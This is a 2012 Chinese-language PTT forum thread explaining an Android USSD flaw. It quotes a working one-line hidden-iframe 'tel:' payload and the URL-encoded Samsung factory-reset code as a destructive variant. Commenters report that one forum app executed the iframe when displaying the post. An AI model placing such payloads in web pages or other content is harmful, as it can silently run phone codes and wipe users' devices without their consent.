作者bestpika (飛影‧忌子)
看板Android
標題Re: [討論] 自我檢測Android漏洞
時間Thu Sep 27 17:07:34 2012
※ 引述《hayatoman (小小的改變是,成功的開始)》之銘言：
看了一下網頁原始碼...
< iframe width="4" height="4" src="tel:*%2306%23" >< /iframe >
簡單一行就可以造成這問題，
那如果把那個 tel:*%2306%23 換成三星的 reset factory 就直接死了
*#2767*3855# > *%232767*3855%23
...
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 112.105.144.47
1F：→ pepsitetsu:他們從頭到尾都在說這件事啊 -..- 09/27 17:08
2F：→ bestpika:可是一開始的網頁沒寫明（？ 09/27 17:09
3F：→ bestpika:我猜最近一定會有很多人用這去害人 09/27 17:09
※ 編輯: bestpika 來自: 112.105.144.47 (09/27 17:10)
5F：→ SuM0m0:點之前當然要檢查一下... 09/27 17:57
6F：→ bestpika:這個檢查不出來吧 09/27 18:11
7F：→ bestpika:都等點進去之後就來不及了 09/27 18:12
8F：→ wuliou:而且只要iframe就可以跑了 真是有夠危險的漏洞.... 09/27 18:20
9F：→ SicInfit:恐怖的是問都沒問直接執行... 照理講應該頂多把號碼自動 09/27 19:45
10F：→ SicInfit:輸入，要不要撥出還是給使用者決定吧... 09/27 19:46
11F：→ wuliou:USSD都是敲完就直接執行的 09/27 20:15
12F：→ wuliou:所以就變成一個漏洞.... 09/27 20:15
13F：→ SicInfit:也是 09/27 21:01
14F：推 scottnet:我用MiuPtt看這篇，自動就跳IMEI碼了…好恐怖 09/27 21:23
15F：→ scottnet:DHD+Nik v4.1 (4.0.3) 09/27 21:24
16F：推 lht2:MiuPtt把那段當網頁執行了.. 09/27 21:33
17F：推 lht2:iOS版的Miuptt 會跳出 文章載入錯誤 然後crash 09/27 21:38
18F：推 scottnet:假如原po用factory reset當範例不就GG了................ 09/27 23:01
19F：推 breadf:真的耶，如果剛好用有問題的手機開到factory reset當範例 09/28 00:58
20F：→ breadf:正好又是用MiuPTT看，就GG了 09/28 00:59
21F：→ breadf:把它放在簽名檔的話就...XD 09/28 01:00
22F：→ bestpika:原來我讓大家發現另一個問題了 XD 09/28 01:29
改一下讓它不會被 MiuPTT 讀到
※ 編輯: bestpika 來自: 123.204.74.44 (09/28 01:30)